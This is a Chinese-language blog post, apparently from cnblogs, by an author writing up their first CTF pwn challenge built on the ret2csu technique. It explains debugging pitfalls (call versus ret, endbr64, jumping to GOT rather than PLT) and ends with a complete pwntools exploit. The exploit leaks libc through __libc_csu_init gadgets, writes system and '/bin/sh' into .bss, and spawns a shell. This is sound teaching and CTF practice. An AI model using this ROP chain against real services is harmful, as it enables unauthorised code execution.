ret2csu出题小记

第一次出题,没什么经验,按照https://www.cnblogs.com/bpcat/p/16878676.html这篇文章简单改的代码(这文章讲的还算细,跟着动调就好了)
直接抄exp肯定是不行了,多加了几句话导致栈空间有一丢丢偏移,但是影响不大,这里展现下当时卡住的地方

卡在jmp的位置了,爆段错误,于是去拿其他做过的csu题目对比了一下,发现其他的都是布局完寄存器之后用的ret,这题在布局完之后是利用call做的跳转

这里有一个小知识点,那个endbr64是一个特殊指令集的指令,作用是在一次跳转中如果不是跳到这个地址就会报错,防止ret攻击,但是很显然这个是很好绕过的,跳到这个地址就好,这里也有做好规避.至于栈对齐问题,这个也是特殊指令集的指令有要求

好吧这里的问题是找到plt表去了,基础不扎实导致的,plt表里面记录的是一系列的跳转指令,而GOT表里面记录的是一系列的地址本身,因此我们要跳转的地方是GOT表而非plt表,而我们要进行泄露的是plt表的内容

修改之后就是慢慢找libc地址了,因为是本地跑的所以可以直接拿本地的地址,因为程序很简单所以只能泄露read和write,也够了,libc.rip找一下就拿下了

这里也是简单总结下ret2csu的利用点:利用libc里面的初始化用的__libc_csu_init函数中布置栈空间的gadget来为寄存器赋值,使得ret调用可以传入参数,配合栈溢出实现ROP链的构造,但是因为payload长度比较长因此需要程序有比较大的溢出空间

最后给一下exp吧

#ret2csu
from pwn import*

p = process('./ret2csu')
#p = remote('',)
elf = ELF('./ret2csu')
context(log_level="debug")
#gdb.attach(p)

gadget1_addr = 0x4012ba
gadget2_addr = 0x4012a0
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = 0x404020
leak_got = elf.got['write']
'''
local leak info:
write 4870
read 47d0
'''
main_addr = elf.symbols['main']

############################################LEAK###############################################
#          lj           ret addr             rbx      rbp      r12       r13           r14         r15(call addr)
payload1 = b'a' * 136 + p64(gadget1_addr) + p64(0) + p64(1) + p64(1) + p64(leak_got) + p64(0x16) + p64(write_got) 
#           form csu ret2csu    balance stk  ret addr
payload1 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)

p.sendlineafter("gadget!",payload1)
p.recv()
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak_addr))

##########################################write################################################
libcbase = leak_addr - 0x114870
sys_addr = libcbase + 0x50d70
print('sys:' + hex(sys_addr))
print('read_got:'+hex(read_got))
bin_sh_addr = libcbase + 0x1d8678
bss_addr = 0x404140
#gdb.attach(p)
#           lj          ret addr             rbx      rbp 	   r12      r13              r14        r15(call addr)
payload2 = b'a' * 136 + p64(gadget1_addr)  + p64(0) + p64(1) + p64(0) + p64(bss_addr) + p64(0x10) + p64(read_got)
#           form csu ret2csu    balance stk  ret addr
payload2 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)
p.sendline(payload2)
p.send(p64(sys_addr) + b'/bin/sh\x00')

#######################################shell####################################################
#          lj           ret addr             rbx      rbp      r12
payload3 = b'a' * 136 + p64(gadget1_addr)  + p64(0) + p64(1) + p64(bss_addr + 8) + p64(0) + p64(0) + p64(bss_addr) + p64(0x40101a) + p64(gadget2_addr)
gdb.attach(p)
p.sendlineafter(b"gadget!",payload3)
p.interactive()
posted @ 2024-08-16 15:50  mcrock  阅读(18)  评论(0编辑  收藏  举报